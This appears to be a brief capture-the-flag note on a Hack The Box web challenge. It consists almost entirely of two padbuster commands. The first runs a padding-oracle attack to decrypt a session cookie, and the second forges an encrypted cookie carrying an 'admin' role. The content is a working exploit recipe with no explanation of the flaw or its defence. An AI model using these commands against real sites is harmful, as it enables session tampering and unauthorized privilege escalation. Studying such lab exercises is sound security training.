知识点
padding-oracle-decryption-attack
padbuster http://docker.hackthebox.eu:30461/profile.php RGsT1ajC8r%2FbC7hIlR0zwvjHmyCDpKRMuN%2BnJOMTAFL1pPoeKW3VKw%3D%3D 8 --cookie "iknowmag1k=RGsT1ajC8r%2FbC7hIlR0zwvjHmyCDpKRMuN%2BnJOMTAFL1pPoeKW3VKw%3D%3D;PHPSESSID=sorl5p4mv2msjhonpj552oqia3"
padbuster http://docker.hackthebox.eu:30461/profile.php RGsT1ajC8r%2FbC7hIlR0zwvjHmyCDpKRMuN%2BnJOMTAFL1pPoeKW3VKw%3D%3D 8 --cookie "iknowmag1k=RGsT1ajC8r%2FbC7hIlR0zwvjHmyCDpKRMuN%2BnJOMTAFL1pPoeKW3VKw%3D%3D;PHPSESSID=sorl5p4mv2msjhonpj552oqia3" --plaintext '{"user":"user","role":"admin"}'
|